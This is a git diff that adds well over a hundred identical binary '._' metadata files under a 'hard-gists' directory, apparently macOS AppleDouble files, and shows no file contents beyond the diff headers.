diff --git a/hard-gists/._470c2ffcf1cde9b2a740f48015915e30 b/hard-gists/._470c2ffcf1cde9b2a740f48015915e30
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._470c2ffcf1cde9b2a740f48015915e30 differ
diff --git a/hard-gists/._4711568 b/hard-gists/._4711568
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._4711568 differ
diff --git a/hard-gists/._4712723 b/hard-gists/._4712723
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._4712723 differ
diff --git a/hard-gists/._4713392 b/hard-gists/._4713392
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._4713392 differ
diff --git a/hard-gists/._4716919 b/hard-gists/._4716919
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._4716919 differ
diff --git a/hard-gists/._4718429 b/hard-gists/._4718429
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._4718429 differ
diff --git a/hard-gists/._472309 b/hard-gists/._472309
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._472309 differ
diff --git a/hard-gists/._4724761 b/hard-gists/._4724761
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._4724761 differ
diff --git a/hard-gists/._4727690 b/hard-gists/._4727690
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._4727690 differ
diff --git a/hard-gists/._4727865 b/hard-gists/._4727865
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._4727865 differ
diff --git a/hard-gists/._472922 b/hard-gists/._472922
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._472922 differ
diff --git a/hard-gists/._4730736 b/hard-gists/._4730736
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._4730736 differ
diff --git a/hard-gists/._4732233 b/hard-gists/._4732233
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._4732233 differ
diff --git a/hard-gists/._4732790 b/hard-gists/._4732790
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._4732790 differ
diff --git a/hard-gists/._4741790 b/hard-gists/._4741790
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._4741790 differ
diff --git a/hard-gists/._4742296 b/hard-gists/._4742296
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._4742296 differ
diff --git a/hard-gists/._4745061 b/hard-gists/._4745061
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._4745061 differ
diff --git a/hard-gists/._4760272 b/hard-gists/._4760272
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._4760272 differ
diff --git a/hard-gists/._47610e6462faba8781242cdb6218d83e b/hard-gists/._47610e6462faba8781242cdb6218d83e
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._47610e6462faba8781242cdb6218d83e differ
diff --git a/hard-gists/._4761479 b/hard-gists/._4761479
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._4761479 differ
diff --git a/hard-gists/._4776b4b2075bf9b7e512 b/hard-gists/._4776b4b2075bf9b7e512
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._4776b4b2075bf9b7e512 differ
diff --git a/hard-gists/._477969 b/hard-gists/._477969
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._477969 differ
diff --git a/hard-gists/._477a9dcd198439ef2def b/hard-gists/._477a9dcd198439ef2def
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._477a9dcd198439ef2def differ
diff --git a/hard-gists/._478f9ba38afb1bf5f5613bfe46eb82ce b/hard-gists/._478f9ba38afb1bf5f5613bfe46eb82ce
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._478f9ba38afb1bf5f5613bfe46eb82ce differ
diff --git a/hard-gists/._4792fc97f8a4094ac90d b/hard-gists/._4792fc97f8a4094ac90d
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._4792fc97f8a4094ac90d differ
diff --git a/hard-gists/._47e1d07b136c316bfb33c880ca910e8c b/hard-gists/._47e1d07b136c316bfb33c880ca910e8c
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._47e1d07b136c316bfb33c880ca910e8c differ
diff --git a/hard-gists/._48136d7a17387e7cf6c3 b/hard-gists/._48136d7a17387e7cf6c3
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._48136d7a17387e7cf6c3 differ
diff --git a/hard-gists/._484009 b/hard-gists/._484009
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._484009 differ
diff --git a/hard-gists/._485977 b/hard-gists/._485977
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._485977 differ
diff --git a/hard-gists/._486793ad61db4c1dec9d b/hard-gists/._486793ad61db4c1dec9d
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._486793ad61db4c1dec9d differ
diff --git a/hard-gists/._4882342eba2b57376ed1 b/hard-gists/._4882342eba2b57376ed1
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._4882342eba2b57376ed1 differ
diff --git a/hard-gists/._4893d1a05df86afbc2cf b/hard-gists/._4893d1a05df86afbc2cf
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._4893d1a05df86afbc2cf differ
diff --git a/hard-gists/._48b54ea4cbc7eb014308 b/hard-gists/._48b54ea4cbc7eb014308
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._48b54ea4cbc7eb014308 differ
diff --git a/hard-gists/._48c5c0124ba4e162b2e3 b/hard-gists/._48c5c0124ba4e162b2e3
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._48c5c0124ba4e162b2e3 differ
diff --git a/hard-gists/._48d35095a414580c055b b/hard-gists/._48d35095a414580c055b
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._48d35095a414580c055b differ
diff --git a/hard-gists/._48d92d4153754aea4504 b/hard-gists/._48d92d4153754aea4504
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._48d92d4153754aea4504 differ
diff --git a/hard-gists/._492713 b/hard-gists/._492713
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._492713 differ
diff --git a/hard-gists/._492858 b/hard-gists/._492858
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._492858 differ
diff --git a/hard-gists/._493065 b/hard-gists/._493065
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._493065 differ
diff --git a/hard-gists/._4948282 b/hard-gists/._4948282
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._4948282 differ
diff --git a/hard-gists/._4950253 b/hard-gists/._4950253
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._4950253 differ
diff --git a/hard-gists/._4952342 b/hard-gists/._4952342
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._4952342 differ
diff --git a/hard-gists/._4959534 b/hard-gists/._4959534
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._4959534 differ
diff --git a/hard-gists/._4961824 b/hard-gists/._4961824
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._4961824 differ
diff --git a/hard-gists/._4964727 b/hard-gists/._4964727
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._4964727 differ
diff --git a/hard-gists/._4972374 b/hard-gists/._4972374
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._4972374 differ
diff --git a/hard-gists/._4973958 b/hard-gists/._4973958
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._4973958 differ
diff --git a/hard-gists/._4981937 b/hard-gists/._4981937
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._4981937 differ
diff --git a/hard-gists/._4988673 b/hard-gists/._4988673
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._4988673 differ
diff --git a/hard-gists/._4992092 b/hard-gists/._4992092
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._4992092 differ
diff --git a/hard-gists/._4995154 b/hard-gists/._4995154
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._4995154 differ
diff --git a/hard-gists/._4995164 b/hard-gists/._4995164
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._4995164 differ
diff --git a/hard-gists/._4996449 b/hard-gists/._4996449
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._4996449 differ
diff --git a/hard-gists/._49aca627205aebaa2be1811511dbc422 b/hard-gists/._49aca627205aebaa2be1811511dbc422
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._49aca627205aebaa2be1811511dbc422 differ
diff --git a/hard-gists/._4a07818b8a21dd5c49013b9ed496cb70 b/hard-gists/._4a07818b8a21dd5c49013b9ed496cb70
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._4a07818b8a21dd5c49013b9ed496cb70 differ
diff --git a/hard-gists/._4a3f8b0fee43d45646cf118bda4d202a b/hard-gists/._4a3f8b0fee43d45646cf118bda4d202a
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._4a3f8b0fee43d45646cf118bda4d202a differ
diff --git a/hard-gists/._4a4e7e700c34c04160b93aa03a14861c b/hard-gists/._4a4e7e700c34c04160b93aa03a14861c
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._4a4e7e700c34c04160b93aa03a14861c differ
diff --git a/hard-gists/._4a76e42f058ef7b467d9 b/hard-gists/._4a76e42f058ef7b467d9
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._4a76e42f058ef7b467d9 differ
diff --git a/hard-gists/._4a89bf7c52500a1d7e7b b/hard-gists/._4a89bf7c52500a1d7e7b
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._4a89bf7c52500a1d7e7b differ
diff --git a/hard-gists/._4abfb80b336a8a56c0a5 b/hard-gists/._4abfb80b336a8a56c0a5
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._4abfb80b336a8a56c0a5 differ
diff --git a/hard-gists/._4aed548e606f11971f5a b/hard-gists/._4aed548e606f11971f5a
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._4aed548e606f11971f5a differ
diff --git a/hard-gists/._4b2897a857a5ec91d9ea965d87b795c8 b/hard-gists/._4b2897a857a5ec91d9ea965d87b795c8
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._4b2897a857a5ec91d9ea965d87b795c8 differ
diff --git a/hard-gists/._4b3c1a78b0104e52b2a1 b/hard-gists/._4b3c1a78b0104e52b2a1
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._4b3c1a78b0104e52b2a1 differ
diff --git a/hard-gists/._4b5afb297b4b7c835e6f b/hard-gists/._4b5afb297b4b7c835e6f
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._4b5afb297b4b7c835e6f differ
diff --git a/hard-gists/._4b79e30fad4ae8a50e2630fcfc4c8cfd b/hard-gists/._4b79e30fad4ae8a50e2630fcfc4c8cfd
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._4b79e30fad4ae8a50e2630fcfc4c8cfd differ
diff --git a/hard-gists/._4b984557676d2d6c92a6 b/hard-gists/._4b984557676d2d6c92a6
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._4b984557676d2d6c92a6 differ
diff --git a/hard-gists/._4ba8ae5459ca4a287d42af549a611792 b/hard-gists/._4ba8ae5459ca4a287d42af549a611792
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._4ba8ae5459ca4a287d42af549a611792 differ
diff --git a/hard-gists/._4bbe165b19a2b0d457c6 b/hard-gists/._4bbe165b19a2b0d457c6
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._4bbe165b19a2b0d457c6 differ
diff --git a/hard-gists/._4c10830640d325e0cab978bc18c6263a b/hard-gists/._4c10830640d325e0cab978bc18c6263a
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._4c10830640d325e0cab978bc18c6263a differ
diff --git a/hard-gists/._4c223b8e2d72b0e35bde b/hard-gists/._4c223b8e2d72b0e35bde
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._4c223b8e2d72b0e35bde differ
diff --git a/hard-gists/._4c2d4105ea2c7e407fb5 b/hard-gists/._4c2d4105ea2c7e407fb5
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._4c2d4105ea2c7e407fb5 differ
diff --git a/hard-gists/._4c4323f90f74f079b50d9a689fa8a448 b/hard-gists/._4c4323f90f74f079b50d9a689fa8a448
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._4c4323f90f74f079b50d9a689fa8a448 differ
diff --git a/hard-gists/._4c47dc94cc6054fe1398 b/hard-gists/._4c47dc94cc6054fe1398
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._4c47dc94cc6054fe1398 differ
diff --git a/hard-gists/._4c528bb794449160e9f9a303b7b2dc23 b/hard-gists/._4c528bb794449160e9f9a303b7b2dc23
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._4c528bb794449160e9f9a303b7b2dc23 differ
diff --git a/hard-gists/._4c59bb823a2c4cc886ae51deae9b23d5 b/hard-gists/._4c59bb823a2c4cc886ae51deae9b23d5
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._4c59bb823a2c4cc886ae51deae9b23d5 differ
diff --git a/hard-gists/._4c5dc5b2b267b43bb4c399ca9115c3f8 b/hard-gists/._4c5dc5b2b267b43bb4c399ca9115c3f8
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._4c5dc5b2b267b43bb4c399ca9115c3f8 differ
diff --git a/hard-gists/._4ca0c68878c6d978d067da4a36bcc71d b/hard-gists/._4ca0c68878c6d978d067da4a36bcc71d
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._4ca0c68878c6d978d067da4a36bcc71d differ
diff --git a/hard-gists/._4cd70e9515ab722b2bce b/hard-gists/._4cd70e9515ab722b2bce
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._4cd70e9515ab722b2bce differ
diff --git a/hard-gists/._4cfe3995013225d1d119 b/hard-gists/._4cfe3995013225d1d119
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._4cfe3995013225d1d119 differ
diff --git a/hard-gists/._4d0f862d981d9bfc6b4f b/hard-gists/._4d0f862d981d9bfc6b4f
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._4d0f862d981d9bfc6b4f differ
diff --git a/hard-gists/._4d3a1d7c49de414942b87d7f6ab1461c b/hard-gists/._4d3a1d7c49de414942b87d7f6ab1461c
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._4d3a1d7c49de414942b87d7f6ab1461c differ
diff --git a/hard-gists/._4d7afed1dadb457bba977bd3757c1e29 b/hard-gists/._4d7afed1dadb457bba977bd3757c1e29
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._4d7afed1dadb457bba977bd3757c1e29 differ
diff --git a/hard-gists/._4d834d429763e953a40c b/hard-gists/._4d834d429763e953a40c
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._4d834d429763e953a40c differ
diff --git a/hard-gists/._4d859423b9dae1cf7471 b/hard-gists/._4d859423b9dae1cf7471
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._4d859423b9dae1cf7471 differ
diff --git a/hard-gists/._4dc4e988baae35aa2ae810281b5297fa b/hard-gists/._4dc4e988baae35aa2ae810281b5297fa
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._4dc4e988baae35aa2ae810281b5297fa differ
diff --git a/hard-gists/._4deac45790fa339b537a b/hard-gists/._4deac45790fa339b537a
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._4deac45790fa339b537a differ
diff --git a/hard-gists/._4e24eb196dc377278fc51e517d81df63 b/hard-gists/._4e24eb196dc377278fc51e517d81df63
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._4e24eb196dc377278fc51e517d81df63 differ
diff --git a/hard-gists/._4e5035242b8e4b07ff3a b/hard-gists/._4e5035242b8e4b07ff3a
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._4e5035242b8e4b07ff3a differ
diff --git a/hard-gists/._4e958d673c51f1fe6f8f b/hard-gists/._4e958d673c51f1fe6f8f
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._4e958d673c51f1fe6f8f differ
diff --git a/hard-gists/._4e97eb41e2b9a80cd5de b/hard-gists/._4e97eb41e2b9a80cd5de
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._4e97eb41e2b9a80cd5de differ
diff --git a/hard-gists/._4eb4497f57e9f6fb78d14aef27fcc750 b/hard-gists/._4eb4497f57e9f6fb78d14aef27fcc750
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._4eb4497f57e9f6fb78d14aef27fcc750 differ
diff --git a/hard-gists/._4ed43412878723491240814a0d5a6ed6 b/hard-gists/._4ed43412878723491240814a0d5a6ed6
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._4ed43412878723491240814a0d5a6ed6 differ
diff --git a/hard-gists/._4ee0a712454480df5ee3 b/hard-gists/._4ee0a712454480df5ee3
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._4ee0a712454480df5ee3 differ
diff --git a/hard-gists/._4efe2e28ffcba38aa242 b/hard-gists/._4efe2e28ffcba38aa242
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._4efe2e28ffcba38aa242 differ
diff --git a/hard-gists/._4f0c1d94f5f164d67f40a4f1c8b0dc15 b/hard-gists/._4f0c1d94f5f164d67f40a4f1c8b0dc15
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._4f0c1d94f5f164d67f40a4f1c8b0dc15 differ
diff --git a/hard-gists/._4f3a3b3c1828e6d781b624f378890cb0 b/hard-gists/._4f3a3b3c1828e6d781b624f378890cb0
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._4f3a3b3c1828e6d781b624f378890cb0 differ
diff --git a/hard-gists/._4f4934893388f971c6c5 b/hard-gists/._4f4934893388f971c6c5
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._4f4934893388f971c6c5 differ
diff --git a/hard-gists/._5001170 b/hard-gists/._5001170
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5001170 differ
diff --git a/hard-gists/._5002929 b/hard-gists/._5002929
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5002929 differ
diff --git a/hard-gists/._5008118 b/hard-gists/._5008118
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5008118 differ
diff --git a/hard-gists/._5015483 b/hard-gists/._5015483
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5015483 differ
diff --git a/hard-gists/._5017218 b/hard-gists/._5017218
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5017218 differ
diff --git a/hard-gists/._5022297 b/hard-gists/._5022297
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5022297 differ
diff --git a/hard-gists/._5028413 b/hard-gists/._5028413
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5028413 differ
diff --git a/hard-gists/._5029885 b/hard-gists/._5029885
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5029885 differ
diff --git a/hard-gists/._503106 b/hard-gists/._503106
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._503106 differ
diff --git a/hard-gists/._5036719 b/hard-gists/._5036719
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5036719 differ
diff --git a/hard-gists/._5036f784eec2036252e1990da21eda18 b/hard-gists/._5036f784eec2036252e1990da21eda18
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5036f784eec2036252e1990da21eda18 differ
diff --git a/hard-gists/._504232 b/hard-gists/._504232
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._504232 differ
diff --git a/hard-gists/._5043521 b/hard-gists/._5043521
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5043521 differ
diff --git a/hard-gists/._504768e05fda49a6e3338e798ae1cddd b/hard-gists/._504768e05fda49a6e3338e798ae1cddd
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._504768e05fda49a6e3338e798ae1cddd differ
diff --git a/hard-gists/._5048588 b/hard-gists/._5048588
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5048588 differ
diff --git a/hard-gists/._5051911 b/hard-gists/._5051911
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5051911 differ
diff --git a/hard-gists/._5053686 b/hard-gists/._5053686
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5053686 differ
diff --git a/hard-gists/._5055971 b/hard-gists/._5055971
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5055971 differ
diff --git a/hard-gists/._5057356 b/hard-gists/._5057356
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5057356 differ
diff --git a/hard-gists/._5059989 b/hard-gists/._5059989
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5059989 differ
diff --git a/hard-gists/._5065738 b/hard-gists/._5065738
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5065738 differ
diff --git a/hard-gists/._5071300 b/hard-gists/._5071300
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5071300 differ
diff --git a/hard-gists/._5073235 b/hard-gists/._5073235
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5073235 differ
diff --git a/hard-gists/._5078476 b/hard-gists/._5078476
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5078476 differ
diff --git a/hard-gists/._5079405 b/hard-gists/._5079405
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5079405 differ
diff --git a/hard-gists/._507bcbf3e8cfdc5d3549 b/hard-gists/._507bcbf3e8cfdc5d3549
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._507bcbf3e8cfdc5d3549 differ
diff --git a/hard-gists/._5088386 b/hard-gists/._5088386
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5088386 differ
diff --git a/hard-gists/._5090763 b/hard-gists/._5090763
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5090763 differ
diff --git a/hard-gists/._5091345 b/hard-gists/._5091345
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5091345 differ
diff --git a/hard-gists/._5091825 b/hard-gists/._5091825
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5091825 differ
diff --git a/hard-gists/._5097274 b/hard-gists/._5097274
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5097274 differ
diff --git a/hard-gists/._5099161 b/hard-gists/._5099161
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5099161 differ
diff --git a/hard-gists/._50abbd0ad3c16c5dee55 b/hard-gists/._50abbd0ad3c16c5dee55
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._50abbd0ad3c16c5dee55 differ
diff --git a/hard-gists/._50ffa966dbb6a1296320705890fcb5cf b/hard-gists/._50ffa966dbb6a1296320705890fcb5cf
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._50ffa966dbb6a1296320705890fcb5cf differ
diff --git a/hard-gists/._5104071 b/hard-gists/._5104071
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5104071 differ
diff --git a/hard-gists/._5106221 b/hard-gists/._5106221
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5106221 differ
diff --git a/hard-gists/._5108298 b/hard-gists/._5108298
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5108298 differ
diff --git a/hard-gists/._5108504 b/hard-gists/._5108504
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5108504 differ
diff --git a/hard-gists/._511440 b/hard-gists/._511440
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._511440 differ
diff --git a/hard-gists/._5116241 b/hard-gists/._5116241
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5116241 differ
diff --git a/hard-gists/._5145500 b/hard-gists/._5145500
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5145500 differ
diff --git a/hard-gists/._5149802 b/hard-gists/._5149802
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5149802 differ
diff --git a/hard-gists/._5167728 b/hard-gists/._5167728
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5167728 differ
diff --git a/hard-gists/._51686 b/hard-gists/._51686
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._51686 differ
diff --git a/hard-gists/._5170087 b/hard-gists/._5170087
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5170087 differ
diff --git a/hard-gists/._5173293 b/hard-gists/._5173293
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5173293 differ
diff --git a/hard-gists/._5177683 b/hard-gists/._5177683
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5177683 differ
diff --git a/hard-gists/._5181631 b/hard-gists/._5181631
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5181631 differ
diff --git a/hard-gists/._5182378 b/hard-gists/._5182378
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5182378 differ
diff --git a/hard-gists/._5182379 b/hard-gists/._5182379
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5182379 differ
diff --git a/hard-gists/._5189575 b/hard-gists/._5189575
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5189575 differ
diff --git a/hard-gists/._518b0c9564e500b4b50f b/hard-gists/._518b0c9564e500b4b50f
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._518b0c9564e500b4b50f differ
diff --git a/hard-gists/._51934724e0896184a2340217b383af73 b/hard-gists/._51934724e0896184a2340217b383af73
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._51934724e0896184a2340217b383af73 differ
diff --git a/hard-gists/._51edd66425998e5fca37 b/hard-gists/._51edd66425998e5fca37
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._51edd66425998e5fca37 differ
diff --git a/hard-gists/._5201689 b/hard-gists/._5201689
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5201689 differ
diff --git a/hard-gists/._5208296 b/hard-gists/._5208296
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5208296 differ
diff --git a/hard-gists/._5209228 b/hard-gists/._5209228
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5209228 differ
diff --git a/hard-gists/._520a2c13f358b3689d00a3c88b34e0c6 b/hard-gists/._520a2c13f358b3689d00a3c88b34e0c6
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._520a2c13f358b3689d00a3c88b34e0c6 differ
diff --git a/hard-gists/._5213fabf2bcb943efc82f00959b91163 b/hard-gists/._5213fabf2bcb943efc82f00959b91163
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5213fabf2bcb943efc82f00959b91163 differ
diff --git a/hard-gists/._5215968 b/hard-gists/._5215968
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5215968 differ
diff --git a/hard-gists/._5225027 b/hard-gists/._5225027
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5225027 differ
diff --git a/hard-gists/._5232301 b/hard-gists/._5232301
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5232301 differ
diff --git a/hard-gists/._5237007 b/hard-gists/._5237007
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5237007 differ
diff --git a/hard-gists/._5237011 b/hard-gists/._5237011
